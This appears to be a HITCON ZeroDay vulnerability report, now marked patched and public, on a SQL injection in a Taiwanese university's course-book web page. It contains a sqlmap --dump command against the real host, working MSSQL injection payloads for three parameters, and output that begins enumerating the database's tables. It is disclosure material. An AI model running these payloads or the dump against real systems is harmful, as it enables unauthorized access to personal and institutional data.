崇右影藝科技大學 MSSQL注入

Vulnerability Overview

ZDID: ZD-2026-01003
發信 Vendor: TACERT台灣學術網路危機處理中心
Title: 崇右影藝科技大學 MSSQL注入
Introduction: 疑似SQL注入漏洞

處理狀態

目前狀態

公開

Last Update : 2026/09/25

新提交
已審核
已通報
已修補
未複測
公開

處理歷程

2026/08/10 17:40:05 : 新提交 (由桃園怪人協會幹部之一更新此狀態)
2026/08/13 16:34:21 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/08/22 14:36:06 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/08/22 14:36:06 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/08/22 14:36:06 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/09/17 14:59:26 : 已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/09/25 03:00:14 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2026-01003
通報者：koby12345 (桃園怪人協會幹部之一)
風險：低
類型：資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料（包含大量使用者個資或敏感性資料），同時也有機會對資料進行破壞或修改。

漏洞說明： OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明： OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明： CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式： OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

sqlmap -u "https://schinfo.cufa.edu.tw/comm_sbj_book.php" \
--data="sy=114-1&Div=1&Class=C4851" \
-p "sy" \
--dbms=mssql \
--batch \
--dump

:36:14] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query)'
[17:36:27] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query)'
[17:36:39] [INFO] testing 'Microsoft SQL Server/Sybase AND time-based blind (heavy query - comment)'
[17:36:47] [INFO] testing 'Microsoft SQL Server/Sybase OR time-based blind (heavy query - comment)'
[17:36:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - Parameter replace (heavy queries)'
[17:36:56] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind - ORDER BY clause (heavy query)'
[17:36:57] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[17:37:50] [INFO] testing 'Generic UNION query (random number) - 1 to 10 columns'
[17:38:44] [WARNING] parameter 'Referer' does not seem to be injectable
sqlmap identified the following injection point(s) with a total of 3684 HTTP(s) requests:

Parameter: Class (POST)
Type: time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: sy=114-1&Div=1&Class=C4851' AND 6567=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)-- vDwp

Parameter: Div (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sy=114-1&Div=1' AND 3764=3764-- rBUQ&Class=C4851

Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: sy=114-1&Div=1';WAITFOR DELAY '0:0:5'--&Class=C4851

Type: time-based blind
Title: Microsoft SQL Server/Sybase time-based blind (IF)
Payload: sy=114-1&Div=1' WAITFOR DELAY '0:0:5'-- VnVh&Class=C4851

Type: UNION query
Title: Generic UNION query (NULL) - 2 columns
Payload: sy=114-1&Div=1' UNION ALL SELECT NULL,CHAR(113)+CHAR(120)+CHAR(118)+CHAR(118)+CHAR(113)+CHAR(100)+CHAR(118)+CHAR(76)+CHAR(108)+CHAR(103)+CHAR(118)+CHAR(73)+CHAR(73)+CHAR(122)+CHAR(119)+CHAR(66)+CHAR(68)+CHAR(101)+CHAR(78)+CHAR(75)+CHAR(121)+CHAR(97)+CHAR(84)+CHAR(115)+CHAR(111)+CHAR(71)+CHAR(115)+CHAR(98)+CHAR(99)+CHAR(69)+CHAR(102)+CHAR(98)+CHAR(78)+CHAR(75)+CHAR(106)+CHAR(80)+CHAR(78)+CHAR(104)+CHAR(112)+CHAR(70)+CHAR(100)+CHAR(109)+CHAR(112)+CHAR(121)+CHAR(68)+CHAR(113)+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(113)-- gITY&Class=C4851

Parameter: sy (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: sy=114-1 AND 8301=8301&Div=1&Class=C4851

Type: time-based blind
Title: Microsoft SQL Server/Sybase AND time-based blind (heavy query)
Payload: sy=114-1 AND 3179=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7)&Div=1&Class=C4851

there were multiple injection points, please select the one to use for following injections:
[0] place: POST, parameter: sy, type: Unescaped numeric (default)
[1] place: POST, parameter: Div, type: Single quoted string
[2] place: POST, parameter: Class, type: Single quoted string
[q] Quit

web server operating system: Windows
web application technology: PHP, PHP 5.6.37, Apache 2.4.34
back-end DBMS: Microsoft SQL Server 2016
[17:35:44] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[17:35:44] [INFO] fetching current database
[17:35:44] [INFO] resumed: SchCY
[17:35:44] [INFO] fetching tables for database: SchCY
[17:35:44] [INFO] fetching number of tables for database 'SchCY'
[17:35:44] [INFO] resumed: 565
[17:35:44] [INFO] resumed: dbo._92Already
[17:35:44] [INFO] resuming partial value: dbo._ROO
[17:35:44] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[17:35:44] [INFO] retrieved: M
[17:35:48] [INFO] retrieved: dbo._ROOM_EXG
[17:36:01] [INFO] retrieved: dbo.A1
[17:36:07] [INFO] retrieved: dbo.academic_semester
[17:36:44] [INFO] retrieved: dbo.ACC_BAS_PAYMENT
[17:37:20] [INFO] retrieved: dbo.ACC_CLASS_LEVEL
[17:37:48] [INFO] retrieved: dbo.ACC_DISCOUNT_DTL
[17:38:19] [INFO] retrieved: dbo.ACC_DISCOUNT_TYPE
[17:38:35] [INFO] retrieved: dbo.ACC_EAS_WEAKDATA
[17:39:06] [INFO] retrieved: dbo.ACC_ENS_EXTRA
[17:39:29] [INFO] retrieved: dbo.ACC_ENS_EXTRA_LIST
[17:39:49] [INFO] retrieved: dbo.ACC_G

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

崇右影藝科技大學 MSSQL注入 - HITCON ZeroDay

Vulnerability Detail Report